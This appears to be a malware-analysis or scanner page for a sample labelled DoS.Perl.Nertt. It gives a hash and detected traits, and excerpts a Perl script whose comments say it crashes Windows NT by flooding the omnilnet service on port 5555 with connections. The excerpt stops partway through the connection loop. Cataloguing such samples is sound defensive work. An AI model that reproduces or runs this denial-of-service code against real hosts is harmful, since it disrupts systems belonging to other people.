Benign Download

DoS.Perl.Nertt

imports SocketSource or bytecode performs DNS resolution

SHA-2563875a3a705a1291714962c4b4ef90ab618303c867befbf568ecc3c07aff86e68

Evidence

imports Socket lines 1–30

1#!/usr/bin/perl
2#
3# Jon Hittner
4# Raise the memory size for omnilnet until Windows NT crashes
5# Test against NT4.0 SP5 , NT3.51 , Winframe 1.7 SP5b , Winframe 1.8
6# Probably needs to be run several times to crash the system depending
7# on the amount of memory in the system.
8# This code was written to demo a problem, and I take no respoablity on how
9# it's used
10
11use strict; use Socket;
12
13my($y,$h,$p,$in_addr,$proto,$addr);
14
15$h = "$ARGV[0]"; $p = 5555 if (!$ARGV[1]);
16if (!$h) { print "A hostname must be provided. Ex: www.domain.com\n"; }
17
18$in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr);
19$proto = getprotobyname('tcp');
20print "TESTING: $h:$p\n";
21for ($y=1 ; $y<2500000 ; $y++) {
22	socket(S, AF_INET, SOCK_STREAM, $proto);
23	connect(S,$addr) or next;
24	select S;
⋯6 lines